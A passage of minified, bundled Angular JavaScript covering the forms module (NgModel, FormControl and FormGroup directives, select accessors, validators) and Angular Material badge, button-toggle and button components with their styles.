this.disabled}registerOnChange(L){this._onChange.push(L)}_unregisterOnChange(L){vn(this._onChange,L)}registerOnDisabledChange(L){this._onDisabledChange.push(L)}_unregisterOnDisabledChange(L){vn(this._onDisabledChange,L)}_forEachChild(L){}_syncPendingControls(){return!("submit"!==this.updateOn||(this._pendingDirty&&this.markAsDirty(),this._pendingTouched&&this.markAsTouched(),!this._pendingChange)||(this.setValue(this._pendingValue,{onlySelf:!0,emitModelToViewChange:!1}),0))}_applyFormState(L){E1(L)?(this.value=this._pendingValue=L.value,L.disabled?this.disable({onlySelf:!0,emitEvent:!1}):this.enable({onlySelf:!0,emitEvent:!1})):this.value=this._pendingValue=L}},Gn=In,An={provide:ct,useExisting:(0,n.Gpc)(()=>li)},$n=(()=>Promise.resolve())();let li=(()=>{class I extends ct{constructor(T,ue,gt,Ot,Jt,Tt){super(),this._changeDetectorRef=Jt,this.callSetDisabledState=Tt,this.control=new In,this._registered=!1,this.update=new n.vpe,this._parent=T,this._setValidators(ue),this._setAsyncValidators(gt),this.valueAccessor=Qt(0,Ot)}ngOnChanges(T){if(this._checkForErrors(),!this._registered||"name"in T){if(this._registered&&(this._checkName(),this.formDirective)){const ue=T.name.previousValue;this.formDirective.removeControl({name:ue,path:this._getPath(ue)})}this._setUpControl()}"isDisabled"in T&&this._updateDisabled(T),Wt(T,this.viewModel)&&(this._updateValue(this.model),this.viewModel=this.model)}ngOnDestroy(){this.formDirective&&this.formDirective.removeControl(this)}get path(){return this._getPath(this.name)}get formDirective(){return this._parent?this._parent.formDirective:null}viewToModelUpdate(T){this.viewModel=T,this.update.emit(T)}_setUpControl(){this._setUpdateStrategy(),this._isStandalone()?this._setUpStandalone():this.formDirective.addControl(this),this._registered=!0}_setUpdateStrategy(){this.options&&null!=this.options.updateOn&&(this.control._updateOn=this.options.updateOn)}_isStandalone(){return!this._parent||!(!this.options||!this.options.standalone)}_setUpStandalone(){Zt(this.control,this,this.callSetDisabledState),this.control.updateValueAndValidity({emitEvent:!1})}_checkForErrors(){this._isStandalone()||this._checkParentType(),this._checkName()}_checkParentType(){}_checkName(){this.options&&this.options.name&&(this.name=this.options.name),this._isStandalone()}_updateValue(T){$n.then(()=>{this.control.setValue(T,{emitViewToModelChange:!1}),this._changeDetectorRef?.markForCheck()})}_updateDisabled(T){const ue=T.isDisabled.currentValue,gt=0!==ue&&(0,n.D6c)(ue);$n.then(()=>{gt&&!this.control.disabled?this.control.disable():!gt&&this.control.disabled&&this.control.enable(),this._changeDetectorRef?.markForCheck()})}_getPath(T){return this._parent?Rt(T,this._parent):[T]}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(_e,9),n.Y36(oe,10),n.Y36(Ce,10),n.Y36(_,10),n.Y36(n.sBO,8),n.Y36(Ne,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["","ngModel","",3,"formControlName","",3,"formControl",""]],inputs:{name:"name",isDisabled:["disabled","isDisabled"],model:["ngModel","model"],options:["ngModelOptions","options"]},outputs:{update:"ngModelChange"},exportAs:["ngModel"],features:[n._Bn([An]),n.qOj,n.TTD]}),I})(),L1=(()=>{class I{}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275dir=n.lG2({type:I,selectors:[["form",3,"ngNoForm","",3,"ngNativeValidate",""]],hostAttrs:["novalidate",""]}),I})();const Cn={provide:_,useExisting:(0,n.Gpc)(()=>Mn),multi:!0};let Mn=(()=>{class I extends E{writeValue(T){this.setProperty("value",T??"")}registerOnChange(T){this.onChange=ue=>{T(""==ue?null:parseFloat(ue))}}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["input","type","number","formControlName",""],["input","type","number","formControl",""],["input","type","number","ngModel",""]],hostBindings:function(T,ue){1&T&&n.NdJ("input",function(Ot){return ue.onChange(Ot.target.value)})("blur",function(){return ue.onTouched()})},features:[n._Bn([Cn]),n.qOj]}),I})(),_i=(()=>{class I{}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275mod=n.oAB({type:I}),I.\\u0275inj=n.cJS({}),I})();const Sn=new n.OlP("NgModelWithFormControlWarning"),Ei={provide:ct,useExisting:(0,n.Gpc)(()=>Hn)};let Hn=(()=>{class I extends ct{set isDisabled(T){}constructor(T,ue,gt,Ot,Jt){super(),this._ngModelWarningConfig=Ot,this.callSetDisabledState=Jt,this.update=new n.vpe,this._ngModelWarningSent=!1,this._setValidators(T),this._setAsyncValidators(ue),this.valueAccessor=Qt(0,gt)}ngOnChanges(T){if(this._isControlChanged(T)){const ue=T.form.previousValue;ue&&a1(ue,this,!1),Zt(this.form,this,this.callSetDisabledState),this.form.updateValueAndValidity({emitEvent:!1})}Wt(T,this.viewModel)&&(this.form.setValue(this.model),this.viewModel=this.model)}ngOnDestroy(){this.form&&a1(this.form,this,!1)}get path(){return[]}get control(){return this.form}viewToModelUpdate(T){this.viewModel=T,this.update.emit(T)}_isControlChanged(T){return T.hasOwnProperty("form")}}return I._ngModelWarningSentOnce=!1,I.\\u0275fac=function(T){return new(T||I)(n.Y36(oe,10),n.Y36(Ce,10),n.Y36(_,10),n.Y36(Sn,8),n.Y36(Ne,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formControl",""]],inputs:{form:["formControl","form"],isDisabled:["disabled","isDisabled"],model:["ngModel","model"]},outputs:{update:"ngModelChange"},exportAs:["ngForm"],features:[n._Bn([Ei]),n.qOj,n.TTD]}),I})();const ui={provide:_e,useExisting:(0,n.Gpc)(()=>pn)};let pn=(()=>{class I extends _e{constructor(T,ue,gt){super(),this.callSetDisabledState=gt,this.submitted=!1,this._onCollectionChange=()=>this._updateDomValue(),this.directives=[],this.form=null,this.ngSubmit=new n.vpe,this._setValidators(T),this._setAsyncValidators(ue)}ngOnChanges(T){this._checkFormPresent(),T.hasOwnProperty("form")&&(this._updateValidators(),this._updateDomValue(),this._updateRegistrations(),this._oldForm=this.form)}ngOnDestroy(){this.form&&(nn(this.form,this),this.form._onCollectionChange===this._onCollectionChange&&this.form._registerOnCollectionChange(()=>{}))}get formDirective(){return this}get control(){return this.form}get path(){return[]}addControl(T){const ue=this.form.get(T.path);return Zt(ue,T,this.callSetDisabledState),ue.updateValueAndValidity({emitEvent:!1}),this.directives.push(T),ue}getControl(T){return this.form.get(T.path)}removeControl(T){a1(T.control||null,T,!1),function h1(I,L){const T=I.indexOf(L);T>-1&&I.splice(T,1)}(this.directives,T)}addFormGroup(T){this._setUpFormContainer(T)}removeFormGroup(T){this._cleanUpFormContainer(T)}getFormGroup(T){return this.form.get(T.path)}addFormArray(T){this._setUpFormContainer(T)}removeFormArray(T){this._cleanUpFormContainer(T)}getFormArray(T){return this.form.get(T.path)}updateModel(T,ue){this.form.get(T.path).setValue(ue)}onSubmit(T){return this.submitted=!0,w1(this.form,this.directives),this.ngSubmit.emit(T),"dialog"===T?.target?.method}onReset(){this.resetForm()}resetForm(T){this.form.reset(T),this.submitted=!1}_updateDomValue(){this.directives.forEach(T=>{const ue=T.control,gt=this.form.get(T.path);ue!==gt&&(a1(ue||null,T),(I=>I instanceof In)(gt)&&(Zt(gt,T,this.callSetDisabledState),T.control=gt))}),this.form._updateTreeValidity({emitEvent:!1})}_setUpFormContainer(T){const ue=this.form.get(T.path);Me(ue,T),ue.updateValueAndValidity({emitEvent:!1})}_cleanUpFormContainer(T){if(this.form){const ue=this.form.get(T.path);ue&&function O(I,L){return nn(I,L)}(ue,T)&&ue.updateValueAndValidity({emitEvent:!1})}}_updateRegistrations(){this.form._registerOnCollectionChange(this._onCollectionChange),this._oldForm&&this._oldForm._registerOnCollectionChange(()=>{})}_updateValidators(){gn(this.form,this),this._oldForm&&nn(this._oldForm,this)}_checkFormPresent(){}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(oe,10),n.Y36(Ce,10),n.Y36(Ne,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formGroup",""]],hostBindings:function(T,ue){1&T&&n.NdJ("submit",function(Ot){return ue.onSubmit(Ot)})("reset",function(){return ue.onReset()})},inputs:{form:["formGroup","form"]},outputs:{ngSubmit:"ngSubmit"},exportAs:["ngForm"],features:[n._Bn([ui]),n.qOj,n.TTD]}),I})();const Ti={provide:ct,useExisting:(0,n.Gpc)(()=>qi)};let qi=(()=>{class I extends ct{set isDisabled(T){}constructor(T,ue,gt,Ot,Jt){super(),this._ngModelWarningConfig=Jt,this._added=!1,this.update=new n.vpe,this._ngModelWarningSent=!1,this._parent=T,this._setValidators(ue),this._setAsyncValidators(gt),this.valueAccessor=Qt(0,Ot)}ngOnChanges(T){this._added||this._setUpControl(),Wt(T,this.viewModel)&&(this.viewModel=this.model,this.formDirective.updateModel(this,this.model))}ngOnDestroy(){this.formDirective&&this.formDirective.removeControl(this)}viewToModelUpdate(T){this.viewModel=T,this.update.emit(T)}get path(){return Rt(null==this.name?this.name:this.name.toString(),this._parent)}get formDirective(){return this._parent?this._parent.formDirective:null}_checkParentType(){}_setUpControl(){this._checkParentType(),this.control=this.formDirective.addControl(this),this._added=!0}}return I._ngModelWarningSentOnce=!1,I.\\u0275fac=function(T){return new(T||I)(n.Y36(_e,13),n.Y36(oe,10),n.Y36(Ce,10),n.Y36(_,10),n.Y36(Sn,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formControlName",""]],inputs:{name:["formControlName","name"],isDisabled:["disabled","isDisabled"],model:["ngModel","model"]},outputs:{update:"ngModelChange"},features:[n._Bn([Ti]),n.qOj,n.TTD]}),I})();const h2={provide:_,useExisting:(0,n.Gpc)(()=>Zn),multi:!0};function Ni(I,L){return null==I?`${L}`:(L&&"object"==typeof L&&(L="Object"),`${I}: ${L}`.slice(0,50))}let Zn=(()=>{class I extends E{constructor(){super(...arguments),this._optionMap=new Map,this._idCounter=0,this._compareWith=Object.is}set compareWith(T){this._compareWith=T}writeValue(T){this.value=T;const gt=Ni(this._getOptionId(T),T);this.setProperty("value",gt)}registerOnChange(T){this.onChange=ue=>{this.value=this._getOptionValue(ue),T(this.value)}}_registerOption(){return(this._idCounter++).toString()}_getOptionId(T){for(const ue of Array.from(this._optionMap.keys()))if(this._compareWith(this._optionMap.get(ue),T))return ue;return null}_getOptionValue(T){const ue=function ei(I){return I.split(":")[0]}(T);return this._optionMap.has(ue)?this._optionMap.get(ue):T}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["select","formControlName","",3,"multiple",""],["select","formControl","",3,"multiple",""],["select","ngModel","",3,"multiple",""]],hostBindings:function(T,ue){1&T&&n.NdJ("change",function(Ot){return ue.onChange(Ot.target.value)})("blur",function(){return ue.onTouched()})},inputs:{compareWith:"compareWith"},features:[n._Bn([h2]),n.qOj]}),I})(),Hi=(()=>{class I{constructor(T,ue,gt){this._element=T,this._renderer=ue,this._select=gt,this._select&&(this.id=this._select._registerOption())}set ngValue(T){null!=this._select&&(this._select._optionMap.set(this.id,T),this._setElementValue(Ni(this.id,T)),this._select.writeValue(this._select.value))}set value(T){this._setElementValue(T),this._select&&this._select.writeValue(this._select.value)}_setElementValue(T){this._renderer.setProperty(this._element.nativeElement,"value",T)}ngOnDestroy(){this._select&&(this._select._optionMap.delete(this.id),this._select.writeValue(this._select.value))}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(n.SBq),n.Y36(n.Qsj),n.Y36(Zn,9))},I.\\u0275dir=n.lG2({type:I,selectors:[["option"]],inputs:{ngValue:"ngValue",value:"value"}}),I})();const f2={provide:_,useExisting:(0,n.Gpc)(()=>yi),multi:!0};function Vi(I,L){return null==I?`${L}`:("string"==typeof L&&(L=`\'${L}\'`),L&&"object"==typeof L&&(L="Object"),`${I}: ${L}`.slice(0,50))}let yi=(()=>{class I extends E{constructor(){super(...arguments),this._optionMap=new Map,this._idCounter=0,this._compareWith=Object.is}set compareWith(T){this._compareWith=T}writeValue(T){let ue;if(this.value=T,Array.isArray(T)){const gt=T.map(Ot=>this._getOptionId(Ot));ue=(Ot,Jt)=>{Ot._setSelected(gt.indexOf(Jt.toString())>-1)}}else ue=(gt,Ot)=>{gt._setSelected(!1)};this._optionMap.forEach(ue)}registerOnChange(T){this.onChange=ue=>{const gt=[],Ot=ue.selectedOptions;if(void 0!==Ot){const Jt=Ot;for(let Tt=0;Tt<Jt.length;Tt++){const O1=this._getOptionValue(Jt[Tt].value);gt.push(O1)}}else{const Jt=ue.options;for(let Tt=0;Tt<Jt.length;Tt++){const t1=Jt[Tt];if(t1.selected){const O1=this._getOptionValue(t1.value);gt.push(O1)}}}this.value=gt,T(gt)}}_registerOption(T){const ue=(this._idCounter++).toString();return this._optionMap.set(ue,T),ue}_getOptionId(T){for(const ue of Array.from(this._optionMap.keys()))if(this._compareWith(this._optionMap.get(ue)._value,T))return ue;return null}_getOptionValue(T){const ue=function p2(I){return I.split(":")[0]}(T);return this._optionMap.has(ue)?this._optionMap.get(ue)._value:T}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["select","multiple","","formControlName",""],["select","multiple","","formControl",""],["select","multiple","","ngModel",""]],hostBindings:function(T,ue){1&T&&n.NdJ("change",function(Ot){return ue.onChange(Ot.target)})("blur",function(){return ue.onTouched()})},inputs:{compareWith:"compareWith"},features:[n._Bn([f2]),n.qOj]}),I})(),Bi=(()=>{class I{constructor(T,ue,gt){this._element=T,this._renderer=ue,this._select=gt,this._select&&(this.id=this._select._registerOption(this))}set ngValue(T){null!=this._select&&(this._value=T,this._setElementValue(Vi(this.id,T)),this._select.writeValue(this._select.value))}set value(T){this._select?(this._value=T,this._setElementValue(Vi(this.id,T)),this._select.writeValue(this._select.value)):this._setElementValue(T)}_setElementValue(T){this._renderer.setProperty(this._element.nativeElement,"value",T)}_setSelected(T){this._renderer.setProperty(this._element.nativeElement,"selected",T)}ngOnDestroy(){this._select&&(this._select._optionMap.delete(this.id),this._select.writeValue(this._select.value))}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(n.SBq),n.Y36(n.Qsj),n.Y36(yi,9))},I.\\u0275dir=n.lG2({type:I,selectors:[["option"]],inputs:{ngValue:"ngValue",value:"value"}}),I})();function Ji(I){return"number"==typeof I?I:parseInt(I,10)}let mn=(()=>{class I{constructor(){this._validator=Oe}ngOnChanges(T){if(this.inputName in T){const ue=this.normalizeInput(T[this.inputName].currentValue);this._enabled=this.enabled(ue),this._validator=this._enabled?this.createValidator(ue):Oe,this._onChange&&this._onChange()}}validate(T){return this._validator(T)}registerOnValidatorChange(T){this._onChange=T}enabled(T){return null!=T}}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275dir=n.lG2({type:I,features:[n.TTD]}),I})();const o2={provide:oe,useExisting:(0,n.Gpc)(()=>ki),multi:!0},Li={provide:oe,useExisting:(0,n.Gpc)(()=>Ci),multi:!0};let ki=(()=>{class I extends mn{constructor(){super(...arguments),this.inputName="required",this.normalizeInput=n.D6c,this.createValidator=T=>q}enabled(T){return T}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["","required","","formControlName","",3,"type","checkbox"],["","required","","formControl","",3,"type","checkbox"],["","required","","ngModel","",3,"type","checkbox"]],hostVars:1,hostBindings:function(T,ue){2&T&&n.uIk("required",ue._enabled?"":null)},inputs:{required:"required"},features:[n._Bn([o2]),n.qOj]}),I})(),Ci=(()=>{class I extends ki{constructor(){super(...arguments),this.createValidator=T=>we}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["input","type","checkbox","required","","formControlName",""],["input","type","checkbox","required","","formControl",""],["input","type","checkbox","required","","ngModel",""]],hostVars:1,hostBindings:function(T,ue){2&T&&n.uIk("required",ue._enabled?"":null)},features:[n._Bn([Li]),n.qOj]}),I})();const Xi={provide:oe,useExisting:(0,n.Gpc)(()=>bn),multi:!0};let bn=(()=>{class I extends mn{constructor(){super(...arguments),this.inputName="minlength",this.normalizeInput=T=>Ji(T),this.createValidator=T=>je(T)}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["","minlength","","formControlName",""],["","minlength","","formControl",""],["","minlength","","ngModel",""]],hostVars:1,hostBindings:function(T,ue){2&T&&n.uIk("minlength",ue._enabled?ue.minlength:null)},inputs:{minlength:"minlength"},features:[n._Bn([Xi]),n.qOj]}),I})();const Gi={provide:oe,useExisting:(0,n.Gpc)(()=>un),multi:!0};let un=(()=>{class I extends mn{constructor(){super(...arguments),this.inputName="maxlength",this.normalizeInput=T=>Ji(T),this.createValidator=T=>Ze(T)}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["","maxlength","","formControlName",""],["","maxlength","","formControl",""],["","maxlength","","ngModel",""]],hostVars:1,hostBindings:function(T,ue){2&T&&n.uIk("maxlength",ue._enabled?ue.maxlength:null)},inputs:{maxlength:"maxlength"},features:[n._Bn([Gi]),n.qOj]}),I})();const en={provide:oe,useExisting:(0,n.Gpc)(()=>Mi),multi:!0};let Mi=(()=>{class I extends mn{constructor(){super(...arguments),this.inputName="pattern",this.normalizeInput=T=>T,this.createValidator=T=>le(T)}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["","pattern","","formControlName",""],["","pattern","","formControl",""],["","pattern","","ngModel",""]],hostVars:1,hostBindings:function(T,ue){2&T&&n.uIk("pattern",ue._enabled?ue.pattern:null)},inputs:{pattern:"pattern"},features:[n._Bn([en]),n.qOj]}),I})(),pi=(()=>{class I{}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275mod=n.oAB({type:I}),I.\\u0275inj=n.cJS({imports:[_i]}),I})(),ye=(()=>{class I{static withConfig(T){return{ngModule:I,providers:[{provide:Ne,useValue:T.callSetDisabledState??ut}]}}}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275mod=n.oAB({type:I}),I.\\u0275inj=n.cJS({imports:[pi]}),I})(),st=(()=>{class I{static withConfig(T){return{ngModule:I,providers:[{provide:Sn,useValue:T.warnOnNgModelWithFormControl??"always"},{provide:Ne,useValue:T.callSetDisabledState??ut}]}}}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275mod=n.oAB({type:I}),I.\\u0275inj=n.cJS({imports:[pi]}),I})()},2673:(At,ae,d)=>{"use strict";d.d(ae,{g:()=>S,k:()=>_});var n=d(4650),a=d(3238),s=d(2687),u=d(1281);let c=0;const f=(0,a.Id)(class{}),E="mat-badge-content";let _=(()=>{class g extends f{constructor(z,H,j,U,G){super(),this._ngZone=z,this._elementRef=H,this._ariaDescriber=j,this._renderer=U,this._animationMode=G,this._color="primary",this._overlap=!0,this.position="above after",this.size="medium",this._id=c++,this._isInitialized=!1}get color(){return this._color}set color(z){this._setColor(z),this._color=z}get overlap(){return this._overlap}set overlap(z){this._overlap=(0,u.Ig)(z)}get content(){return this._content}set content(z){this._updateRenderedContent(z)}get description(){return this._description}set description(z){this._updateHostAriaDescription(z)}get hidden(){return this._hidden}set hidden(z){this._hidden=(0,u.Ig)(z)}isAbove(){return-1===this.position.indexOf("below")}isAfter(){return-1===this.position.indexOf("before")}getBadgeElement(){return this._badgeElement}ngOnInit(){this._clearExistingBadges(),this.content&&!this._badgeElement&&(this._badgeElement=this._createBadgeElement(),this._updateRenderedContent(this.content)),this._isInitialized=!0}ngOnDestroy(){this._renderer.destroyNode&&this._renderer.destroyNode(this._badgeElement),this._ariaDescriber.removeDescription(this._elementRef.nativeElement,this.description)}_createBadgeElement(){const z=this._renderer.createElement("span"),H="mat-badge-active";return z.setAttribute("id",`mat-badge-content-${this._id}`),z.setAttribute("aria-hidden","true"),z.classList.add(E),"NoopAnimations"===this._animationMode&&z.classList.add("_mat-animation-noopable"),this._elementRef.nativeElement.appendChild(z),"function"==typeof requestAnimationFrame&&"NoopAnimations"!==this._animationMode?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>{z.classList.add(H)})}):z.classList.add(H),z}_updateRenderedContent(z){const H=`${z??""}`.trim();this._isInitialized&&H&&!this._badgeElement&&(this._badgeElement=this._createBadgeElement()),this._badgeElement&&(this._badgeElement.textContent=H),this._content=H}_updateHostAriaDescription(z){this._ariaDescriber.removeDescription(this._elementRef.nativeElement,this.description),z&&this._ariaDescriber.describe(this._elementRef.nativeElement,z),this._description=z}_setColor(z){const H=this._elementRef.nativeElement.classList;H.remove(`mat-badge-${this._color}`),z&&H.add(`mat-badge-${z}`)}_clearExistingBadges(){const z=this._elementRef.nativeElement.querySelectorAll(`:scope > .${E}`);for(const H of Array.from(z))H!==this._badgeElement&&H.remove()}}return g.\\u0275fac=function(z){return new(z||g)(n.Y36(n.R0b),n.Y36(n.SBq),n.Y36(s.$s),n.Y36(n.Qsj),n.Y36(n.QbO,8))},g.\\u0275dir=n.lG2({type:g,selectors:[["","matBadge",""]],hostAttrs:[1,"mat-badge"],hostVars:20,hostBindings:function(z,H){2&z&&n.ekj("mat-badge-overlap",H.overlap)("mat-badge-above",H.isAbove())("mat-badge-below",!H.isAbove())("mat-badge-before",!H.isAfter())("mat-badge-after",H.isAfter())("mat-badge-small","small"===H.size)("mat-badge-medium","medium"===H.size)("mat-badge-large","large"===H.size)("mat-badge-hidden",H.hidden||!H.content)("mat-badge-disabled",H.disabled)},inputs:{disabled:["matBadgeDisabled","disabled"],color:["matBadgeColor","color"],overlap:["matBadgeOverlap","overlap"],position:["matBadgePosition","position"],content:["matBadge","content"],description:["matBadgeDescription","description"],size:["matBadgeSize","size"],hidden:["matBadgeHidden","hidden"]},features:[n.qOj]}),g})(),S=(()=>{class g{}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275mod=n.oAB({type:g}),g.\\u0275inj=n.cJS({imports:[s.rt,a.BQ,a.BQ]}),g})()},811:(At,ae,d)=>{"use strict";d.d(ae,{Yi:()=>G,vV:()=>Q});var n=d(2687),a=d(1281),u=(d(5017),d(4650)),f=(d(4006),d(3238));const E=["button"],_=["*"],S=new u.OlP("MAT_BUTTON_TOGGLE_DEFAULT_OPTIONS"),g=new u.OlP("MatButtonToggleGroup");let z=0;class H{constructor(Ce,k){this.source=Ce,this.value=k}}const U=(0,f.Kr)(class{});let G=(()=>{class oe extends U{constructor(k,K,se,ee,q,we){super(),this._changeDetectorRef=K,this._elementRef=se,this._focusMonitor=ee,this._checked=!1,this.ariaLabelledby=null,this._disabled=!1,this.change=new u.vpe;const ce=Number(q);this.tabIndex=ce||0===ce?ce:null,this.buttonToggleGroup=k,this.appearance=we&&we.appearance?we.appearance:"standard"}get buttonId(){return`${this.id}-button`}get appearance(){return this.buttonToggleGroup?this.buttonToggleGroup.appearance:this._appearance}set appearance(k){this._appearance=k}get checked(){return this.buttonToggleGroup?this.buttonToggleGroup._isSelected(this):this._checked}set checked(k){const K=(0,a.Ig)(k);K!==this._checked&&(this._checked=K,this.buttonToggleGroup&&this.buttonToggleGroup._syncButtonToggle(this,this._checked),this._changeDetectorRef.markForCheck())}get disabled(){return this._disabled||this.buttonToggleGroup&&this.buttonToggleGroup.disabled}set disabled(k){this._disabled=(0,a.Ig)(k)}ngOnInit(){const k=this.buttonToggleGroup;this.id=this.id||"mat-button-toggle-"+z++,k&&(k._isPrechecked(this)?this.checked=!0:k._isSelected(this)!==this._checked&&k._syncButtonToggle(this,this._checked))}ngAfterViewInit(){this._focusMonitor.monitor(this._elementRef,!0)}ngOnDestroy(){const k=this.buttonToggleGroup;this._focusMonitor.stopMonitoring(this._elementRef),k&&k._isSelected(this)&&k._syncButtonToggle(this,!1,!1,!0)}focus(k){this._buttonElement.nativeElement.focus(k)}_onButtonClick(){const k=!!this._isSingleSelector()||!this._checked;k!==this._checked&&(this._checked=k,this.buttonToggleGroup&&(this.buttonToggleGroup._syncButtonToggle(this,this._checked,!0),this.buttonToggleGroup._onTouched())),this.change.emit(new H(this,this.value))}_markForCheck(){this._changeDetectorRef.markForCheck()}_getButtonName(){return this._isSingleSelector()?this.buttonToggleGroup.name:this.name||null}_isSingleSelector(){return this.buttonToggleGroup&&!this.buttonToggleGroup.multiple}}return oe.\\u0275fac=function(k){return new(k||oe)(u.Y36(g,8),u.Y36(u.sBO),u.Y36(u.SBq),u.Y36(n.tE),u.$8M("tabindex"),u.Y36(S,8))},oe.\\u0275cmp=u.Xpm({type:oe,selectors:[["mat-button-toggle"]],viewQuery:function(k,K){if(1&k&&u.Gf(E,5),2&k){let se;u.iGM(se=u.CRH())&&(K._buttonElement=se.first)}},hostAttrs:["role","presentation",1,"mat-button-toggle"],hostVars:12,hostBindings:function(k,K){1&k&&u.NdJ("focus",function(){return K.focus()}),2&k&&(u.uIk("aria-label",null)("aria-labelledby",null)("id",K.id)("name",null),u.ekj("mat-button-toggle-standalone",!K.buttonToggleGroup)("mat-button-toggle-checked",K.checked)("mat-button-toggle-disabled",K.disabled)("mat-button-toggle-appearance-standard","standard"===K.appearance))},inputs:{disableRipple:"disableRipple",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],id:"id",name:"name",value:"value",tabIndex:"tabIndex",appearance:"appearance",checked:"checked",disabled:"disabled"},outputs:{change:"change"},exportAs:["matButtonToggle"],features:[u.qOj],ngContentSelectors:_,decls:6,vars:9,consts:[["type","button",1,"mat-button-toggle-button","mat-focus-indicator",3,"id","disabled","click"],["button",""],[1,"mat-button-toggle-label-content"],[1,"mat-button-toggle-focus-overlay"],["matRipple","",1,"mat-button-toggle-ripple",3,"matRippleTrigger","matRippleDisabled"]],template:function(k,K){if(1&k&&(u.F$t(),u.TgZ(0,"button",0,1),u.NdJ("click",function(){return K._onButtonClick()}),u.TgZ(2,"span",2),u.Hsn(3),u.qZA()(),u._UZ(4,"span",3)(5,"span",4)),2&k){const se=u.MAs(1);u.Q6J("id",K.buttonId)("disabled",K.disabled||null),u.uIk("tabindex",K.disabled?-1:K.tabIndex)("aria-pressed",K.checked)("name",K._getButtonName())("aria-label",K.ariaLabel)("aria-labelledby",K.ariaLabelledby),u.xp6(5),u.Q6J("matRippleTrigger",se)("matRippleDisabled",K.disableRipple||K.disabled)}},dependencies:[f.wG],styles:[".mat-button-toggle-standalone,.mat-button-toggle-group{position:relative;display:inline-flex;flex-direction:row;white-space:nowrap;overflow:hidden;border-radius:2px;-webkit-tap-highlight-color:rgba(0,0,0,0);transform:translateZ(0)}.cdk-high-contrast-active .mat-button-toggle-standalone,.cdk-high-contrast-active .mat-button-toggle-group{outline:solid 1px}.mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.mat-button-toggle-group-appearance-standard{border-radius:4px}.cdk-high-contrast-active .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.cdk-high-contrast-active .mat-button-toggle-group-appearance-standard{outline:0}.mat-button-toggle-vertical{flex-direction:column}.mat-button-toggle-vertical .mat-button-toggle-label-content{display:block}.mat-button-toggle{white-space:nowrap;position:relative}.mat-button-toggle .mat-icon svg{vertical-align:top}.mat-button-toggle.cdk-keyboard-focused .mat-button-toggle-focus-overlay{opacity:1}.mat-button-toggle-appearance-standard:not(.mat-button-toggle-disabled):hover .mat-button-toggle-focus-overlay{opacity:.04}.mat-button-toggle-appearance-standard.cdk-keyboard-focused:not(.mat-button-toggle-disabled) .mat-button-toggle-focus-overlay{opacity:.12}@media(hover: none){.mat-button-toggle-appearance-standard:not(.mat-button-toggle-disabled):hover .mat-button-toggle-focus-overlay{display:none}}.mat-button-toggle-label-content{-webkit-user-select:none;user-select:none;display:inline-block;line-height:36px;padding:0 16px;position:relative}.mat-button-toggle-appearance-standard .mat-button-toggle-label-content{padding:0 12px}.mat-button-toggle-label-content>*{vertical-align:middle}.mat-button-toggle-focus-overlay{top:0;left:0;right:0;bottom:0;position:absolute;border-radius:inherit;pointer-events:none;opacity:0}.cdk-high-contrast-active .mat-button-toggle-checked .mat-button-toggle-focus-overlay{border-bottom:solid 36px;opacity:.5;height:0}.cdk-high-contrast-active .mat-button-toggle-checked:hover .mat-button-toggle-focus-overlay{opacity:.6}.cdk-high-contrast-active .mat-button-toggle-checked.mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{border-bottom:solid 500px}.mat-button-toggle .mat-button-toggle-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-button-toggle-button{border:0;background:none;color:inherit;padding:0;margin:0;font:inherit;outline:none;width:100%;cursor:pointer}.mat-button-toggle-disabled .mat-button-toggle-button{cursor:default}.mat-button-toggle-button::-moz-focus-inner{border:0}"],encapsulation:2,changeDetection:0}),oe})(),Q=(()=>{class oe{}return oe.\\u0275fac=function(k){return new(k||oe)},oe.\\u0275mod=u.oAB({type:oe}),oe.\\u0275inj=u.cJS({imports:[f.BQ,f.si,f.BQ]}),oe})()},4859:(At,ae,d)=>{"use strict";d.d(ae,{lW:()=>g,ot:()=>z,zs:()=>C});var n=d(4650),a=d(3238),s=d(2687);const u=["mat-button",""],c=["*"],_=["mat-button","mat-flat-button","mat-icon-button","mat-raised-button","mat-stroked-button","mat-mini-fab","mat-fab"],S=(0,a.pj)((0,a.Id)((0,a.Kr)(class{constructor(H){this._elementRef=H}})));let g=(()=>{class H extends 